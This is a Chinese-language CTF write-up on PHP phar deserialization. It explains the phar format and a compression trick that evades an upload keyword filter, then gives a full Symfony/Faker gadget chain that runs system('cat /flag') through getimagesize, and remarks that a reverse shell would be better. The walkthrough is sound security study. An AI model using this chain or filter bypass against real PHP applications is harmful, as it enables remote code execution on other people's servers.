0x00 前言
seebug复习一下phar在php反序列化中的利用
参考https://paper.seebug.org/680/
写的太好了… 直接粘了
phar文件会以序列化的形式存储用户自定义的meta-data这一特性拓展了php反序列化的攻击面
phar文件结构
- stub
类似标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件 - manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
- content
被压缩文件的内容 - [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:
php底层
php-src/ext/phar/phar.c
local_test
php.ini中的phar.readonly选项设置为Off
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
(不全)
phar文件内容 确实序列化存储了meta-data
因为识别phar文件是通过标志xxx<?php xxx; __HALT_COMPILER();?>
所以在前面我们可任意添加
可以在setstub时添加文件头来进行伪装
eg:
<?php
class TestObject {
public function __destruct(){
echo "have been unserialized";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// phar生成
// 调用系统函数phar伪协议解析 触发反序列化
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
0x01 brain.md
一个上传点
给了源码
看一下路由
贴一下indexcontroller
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller
{
public function fileUpload(Request $req)
{
$allowed_extension = "png";
$extension = $req->file('file')->clientExtension();
if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
{
$content = $req->file('file')->get();
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}else {
$fileName = \md5(time()) . '.png';
$path = $req->file('file')->storePubliclyAs('uploads', $fileName);
echo "path: $path";
return back()
->with('success', 'File has been uploaded.')
->with('file', $path);
}
} else{
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}
}
}
ban掉了较多关键字
preg_match("/<\?|php|HALT\_COMPILER/i", $content )
little trick压缩phar绕过关键词
convertToExecutable
test
<?php
class TestObject {
public function __destruct(){
echo "have been unserialized",PHP_EOL;
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// phar生成
?>
面目全非了
跟到ImageController
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
前面的很常规,到后面看到 imgcompress 引起注意
讲真这里的getimagesize函数也可利用是真没想到
localtest一下确实可行
然后找利用链
写的很nice
https://xz.aliyun.com/t/9318
稍微提炼一点trick
链子入口点一般都是__destruct方法,且该方法拥有形如 $this->[可控]->xxx()
eg:
parent可控
下一步寻找合适类带有__call方法
并且 __call方法最好可以调用用户自定义的函数
全局过一下
ValidGenerator瞩目
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array([$this->generator, $name], $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
两种思路
1.call_user_func_array中rce,但name已经是addCollection了
$this->generator类中name方法参数arguments
再去寻找__call方法就陷入了死循环
2.call_user_func($this->validator, $res)中rce,validator可控,下面控制$res即可,最好能让$res = call_user_func_array([$this->generator, $name], $arguments);
返回我们想要的值
发现defaultgenerator类中default完全可控
那么call_user_func($this->validator, $res)完全可控了
ok写链
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
function __construct($a){
$this->parent=$a;
$this->route='test';
}
}
}
namespace Faker{
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($a,$func){
$this->generator=$a;
$this->validator=$func;
$this->maxRetries=1;
}
}
class DefaultGenerator{
protected $default;
function __construct($default){
$this->default=$default;
}
}
}
namespace{
use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use Faker\ValidGenerator;
use Faker\DefaultGenerator;
$o=new ImportConfigurator(new ValidGenerator(new DefaultGenerator("cat /flag"),'system'));
@unlink('phar.phar');
$phar=new Phar('phar.phar');
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($o);
$phar->addFromString('test.txt','test');
$phar->stopBuffering();
}
?>
当然rce处最好改成反弹shell回来
改名为phar.png上传
注意 /image只接受get请求
/image?image=phar://…/storage/app/uploads/xxx.png
done
PS:直接写马会写在/var/www/html目录下 而不是public目录下